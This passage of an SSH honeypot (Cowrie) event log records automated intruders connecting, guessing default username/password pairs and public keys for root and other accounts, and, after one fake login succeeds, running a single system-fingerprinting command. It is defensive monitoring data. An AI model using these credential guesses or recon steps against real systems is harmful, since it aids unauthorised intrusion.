0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:09.689519Z","src_ip":"45.153.34.114","session":"020f53135263","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"12345","message":"login attempt [steam/12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:09.961427Z","src_ip":"45.153.34.114","session":"020f53135263","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:10.194238Z","src_ip":"45.153.34.114","session":"020f53135263","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:10.197581Z","src_ip":"45.153.34.114","session":"020f53135263","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:10.285491Z","src_ip":"45.153.34.114","session":"020f53135263","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:10.290553Z","src_ip":"45.153.34.114","session":"020f53135263","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60230,"dst_ip":"159.203.135.109","dst_port":22,"session":"db1aee2edc7a","protocol":"ssh","message":"New connection: 45.153.34.114:60230 (159.203.135.109:22) [session: db1aee2edc7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:17.391941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:17.399843Z","src_ip":"45.153.34.114","session":"db1aee2edc7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:17.476091Z","src_ip":"45.153.34.114","session":"db1aee2edc7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yunwei","password":"yunwei","message":"login attempt [yunwei/yunwei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:17.814626Z","src_ip":"45.153.34.114","session":"db1aee2edc7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:18.902165Z","src_ip":"45.153.34.114","session":"db1aee2edc7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":39384,"dst_ip":"159.203.135.109","dst_port":22,"session":"623affdb47de","protocol":"ssh","message":"New connection: 45.153.34.114:39384 (159.203.135.109:22) [session: 623affdb47de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:25.161061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:25.378098Z","src_ip":"45.153.34.114","session":"623affdb47de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:25.381793Z","src_ip":"45.153.34.114","session":"623affdb47de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.37.117.71","src_port":58612,"dst_ip":"10.17.0.5","dst_port":22,"session":"600259822fc3","protocol":"ssh","message":"New connection: 89.37.117.71:58612 (10.17.0.5:22) [session: 600259822fc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:25.823994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:25.828652Z","src_ip":"89.37.117.71","session":"600259822fc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:25.863515Z","src_ip":"45.153.34.114","session":"623affdb47de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:25.956520Z","src_ip":"89.37.117.71","session":"600259822fc3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8c:b6:01:23:10:86:af:dc:27:6c:f8:e7:50:35:12:a8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMU84d4mE9kb3W6sZqStrLzzFp6kUEh4bdEraZAgHQY2","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 8c:b6:01:23:10:86:af:dc:27:6c:f8:e7:50:35:12:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:26.558308Z","src_ip":"89.37.117.71","session":"600259822fc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8c:b6:01:23:10:86:af:dc:27:6c:f8:e7:50:35:12:a8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMU84d4mE9kb3W6sZqStrLzzFp6kUEh4bdEraZAgHQY2","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:26.562172Z","src_ip":"89.37.117.71","session":"600259822fc3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:80:b2:5f:f9:c6:b6:cf:30:84:1f:f2:28:c3:3f:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUM3oPwgHAfMau7G2yFUml55LG0D/ro6MIDPzzR7mmMkrSaI0Yi0dmtqsFui9249CwnBU0V/jbvevJlhaBqtow8KVkfmuHNB7M6jDyseGXxve2/p7F+jmzl2CXqwXgfIn7Lbc5usIaQywi6Wfy2NvmXQT3Cos4ez5uEnM4jtgvfTGNe2iQGupAUHBPbBRKLJj1xUC7li7FCGQfltFMUXGLw5DKhYKsAP/ExNqOuTGE0SCDhu9F+lBvBG5XvpZS8KV6hFwrbUJKW6wC4mpGIGOy340VQ0jVgv3+Ou1JyPUobvbuxz3MqA5Fb9kfT5DRnLhh6ujo5pRiXCBqC62VdXjB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 09:80:b2:5f:f9:c6:b6:cf:30:84:1f:f2:28:c3:3f:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:26.687441Z","src_ip":"89.37.117.71","session":"600259822fc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:80:b2:5f:f9:c6:b6:cf:30:84:1f:f2:28:c3:3f:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUM3oPwgHAfMau7G2yFUml55LG0D/ro6MIDPzzR7mmMkrSaI0Yi0dmtqsFui9249CwnBU0V/jbvevJlhaBqtow8KVkfmuHNB7M6jDyseGXxve2/p7F+jmzl2CXqwXgfIn7Lbc5usIaQywi6Wfy2NvmXQT3Cos4ez5uEnM4jtgvfTGNe2iQGupAUHBPbBRKLJj1xUC7li7FCGQfltFMUXGLw5DKhYKsAP/ExNqOuTGE0SCDhu9F+lBvBG5XvpZS8KV6hFwrbUJKW6wC4mpGIGOy340VQ0jVgv3+Ou1JyPUobvbuxz3MqA5Fb9kfT5DRnLhh6ujo5pRiXCBqC62VdXjB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:26.694793Z","src_ip":"89.37.117.71","session":"600259822fc3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:fa:77:58:85:e7:e9:d3:a0:d8:f0:9d:43:88:36:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAstUYvWy9vEl5zhDMLlsWTyFYLbKwg+Mvk5gtebBfdQknsoTiR393jaPqqvtGbdpnLg072ix9Ha+8mqORaUxDgZLZ8TXT9SKxXoL1e+t8F/4ytbQXp7uknJn9d7zOmryF2/WSSEP+DcqCHy7DAiEjyOQFdSq7ivWbG2zbqK23o2S1Sp594092FK1pao8h1/+yZXUfWh5yA+51QSYVK1APbTOvIPOLv+n5wf+bc68AuUcs4o3HD3nXXCEAfm0Gbo4D8Li+i+KebtI1EJO0/mCxgXv3hMwtvlwE28Ao52EqO7Y9WhL92NM2sbE+EMMWgXKXgBLan9r+CQpb6Bn6vMC6rw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:fa:77:58:85:e7:e9:d3:a0:d8:f0:9d:43:88:36:95","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:26.820578Z","src_ip":"89.37.117.71","session":"600259822fc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:fa:77:58:85:e7:e9:d3:a0:d8:f0:9d:43:88:36:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAstUYvWy9vEl5zhDMLlsWTyFYLbKwg+Mvk5gtebBfdQknsoTiR393jaPqqvtGbdpnLg072ix9Ha+8mqORaUxDgZLZ8TXT9SKxXoL1e+t8F/4ytbQXp7uknJn9d7zOmryF2/WSSEP+DcqCHy7DAiEjyOQFdSq7ivWbG2zbqK23o2S1Sp594092FK1pao8h1/+yZXUfWh5yA+51QSYVK1APbTOvIPOLv+n5wf+bc68AuUcs4o3HD3nXXCEAfm0Gbo4D8Li+i+KebtI1EJO0/mCxgXv3hMwtvlwE28Ao52EqO7Y9WhL92NM2sbE+EMMWgXKXgBLan9r+CQpb6Bn6vMC6rw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:26.824878Z","src_ip":"89.37.117.71","session":"600259822fc3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"46:3c:a7:5a:bb:3f:90:c9:ad:4f:f3:1e:a1:c8:a7:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjY3KRnLLUG33IGlQSFVYo5G1gCyFnzZNLKsnRkIQxYzje/s1atfuIGeHHFtr7U/6o76RaGo/xFBv3a8jDlE7h+UWChtfxYGxrDrRd2uC8bY3+wLVxNPuiqwxwC90QbVAiMtxsZhHhNsoKoR+eepMArJDm8KjUZVIu6EBDER+OrT6MAvpODRQCuo2ioWkxxs+hHyARKe7Jh8fRAh1z1sLWbY0ggatPO5G9vIuhtU8Sz02CV+bmovPQsVSl5Yzd4y/yYIO4gfpBCYWCMbYnULNt9/tX8NESoJAVBnEVtK+ZkvaYmQhO7FaEa02MFKR+rwDUgtSc3SZ1L9U78L95sTnf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 46:3c:a7:5a:bb:3f:90:c9:ad:4f:f3:1e:a1:c8:a7:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:26.949576Z","src_ip":"89.37.117.71","session":"600259822fc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"46:3c:a7:5a:bb:3f:90:c9:ad:4f:f3:1e:a1:c8:a7:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjY3KRnLLUG33IGlQSFVYo5G1gCyFnzZNLKsnRkIQxYzje/s1atfuIGeHHFtr7U/6o76RaGo/xFBv3a8jDlE7h+UWChtfxYGxrDrRd2uC8bY3+wLVxNPuiqwxwC90QbVAiMtxsZhHhNsoKoR+eepMArJDm8KjUZVIu6EBDER+OrT6MAvpODRQCuo2ioWkxxs+hHyARKe7Jh8fRAh1z1sLWbY0ggatPO5G9vIuhtU8Sz02CV+bmovPQsVSl5Yzd4y/yYIO4gfpBCYWCMbYnULNt9/tX8NESoJAVBnEVtK+ZkvaYmQhO7FaEa02MFKR+rwDUgtSc3SZ1L9U78L95sTnf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:26.953248Z","src_ip":"89.37.117.71","session":"600259822fc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:26.959390Z","src_ip":"45.153.34.114","session":"623affdb47de","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:b9:29:04:40:84:2c:71:2b:03:08:3f:0b:33:e5:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDB86H+ad9F+7005xU4WqNo3i5NH/D7PQtxe6gEwD4DP9aYiCeExQE6yf2CnI5YB7ZLLsYWzCkmqmbivRebr1PKpn7Dp+XOalws/ccPbfDnH/hvLsJknVZG/vR+AyGJY4IrQ14lmakmx/I/jseaZR/5LRGouKaYAQZ3CXYXUMzFIj8D7qD/8/CrGjQrH35x6+04rKTxX8ZGxW2R+x8wGHAFLC6E185zS6IrkwW4PHQW+q29Psw7ZKCOEPgZIyvCFHSgCpBASe8PVdDHBlOiI3S34XhY8vk008QqPkXc8KBjdI2tz1OtUh/+Dfr5SStdbt+P/F2IZvNJZCSLsIQpwPf54awGmn4kyM7IhvWHAeGDdKjCZ3roG/zpC6V4nAKiCEkS16EG65iZUg0uRI1yczIiNBfhyObI78X5rZQz2ceB3Vd4JkQ3b2pTFkFw/0dJyofjUv3L4r1L3mN+pghgs+Ac0rN95zDgHN1wM1BQSBIU2cIvF07PDYZte/MdnRtdtiNlo7Gyj1cHhouXnaKEdDtlXBFlAlWwiXRO9wnoj+j+Nl5MGwfYXLAoY8Ja07M1zJS3WXrW+onxmfNpvnwZX1N5P1VTb5qsWtz4usJmQobB9a4d70UpphDjTx4eqBZCQmtjq2UQ1LH2HaP9q0r3WgCO3+SmS/sNf5Hevs/oUyd92Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:b9:29:04:40:84:2c:71:2b:03:08:3f:0b:33:e5:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:27.078994Z","src_ip":"89.37.117.71","session":"600259822fc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:b9:29:04:40:84:2c:71:2b:03:08:3f:0b:33:e5:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDB86H+ad9F+7005xU4WqNo3i5NH/D7PQtxe6gEwD4DP9aYiCeExQE6yf2CnI5YB7ZLLsYWzCkmqmbivRebr1PKpn7Dp+XOalws/ccPbfDnH/hvLsJknVZG/vR+AyGJY4IrQ14lmakmx/I/jseaZR/5LRGouKaYAQZ3CXYXUMzFIj8D7qD/8/CrGjQrH35x6+04rKTxX8ZGxW2R+x8wGHAFLC6E185zS6IrkwW4PHQW+q29Psw7ZKCOEPgZIyvCFHSgCpBASe8PVdDHBlOiI3S34XhY8vk008QqPkXc8KBjdI2tz1OtUh/+Dfr5SStdbt+P/F2IZvNJZCSLsIQpwPf54awGmn4kyM7IhvWHAeGDdKjCZ3roG/zpC6V4nAKiCEkS16EG65iZUg0uRI1yczIiNBfhyObI78X5rZQz2ceB3Vd4JkQ3b2pTFkFw/0dJyofjUv3L4r1L3mN+pghgs+Ac0rN95zDgHN1wM1BQSBIU2cIvF07PDYZte/MdnRtdtiNlo7Gyj1cHhouXnaKEdDtlXBFlAlWwiXRO9wnoj+j+Nl5MGwfYXLAoY8Ja07M1zJS3WXrW+onxmfNpvnwZX1N5P1VTb5qsWtz4usJmQobB9a4d70UpphDjTx4eqBZCQmtjq2UQ1LH2HaP9q0r3WgCO3+SmS/sNf5Hevs/oUyd92Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:27.083419Z","src_ip":"89.37.117.71","session":"600259822fc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:27.209891Z","src_ip":"89.37.117.71","session":"600259822fc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":45784,"dst_ip":"159.203.135.109","dst_port":22,"session":"59d932ccf6ba","protocol":"ssh","message":"New connection: 45.153.34.114:45784 (159.203.135.109:22) [session: 59d932ccf6ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:33.211460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:33.215800Z","src_ip":"45.153.34.114","session":"59d932ccf6ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:33.305196Z","src_ip":"45.153.34.114","session":"59d932ccf6ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sit","password":"sit123456","message":"login attempt [sit/sit123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:33.555581Z","src_ip":"45.153.34.114","session":"59d932ccf6ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:34.645570Z","src_ip":"45.153.34.114","session":"59d932ccf6ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":48148,"dst_ip":"159.203.135.109","dst_port":22,"session":"05662d96d8e0","protocol":"ssh","message":"New connection: 45.153.34.114:48148 (159.203.135.109:22) [session: 05662d96d8e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:41.401253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:41.406083Z","src_ip":"45.153.34.114","session":"05662d96d8e0","protocol":"ssh"}
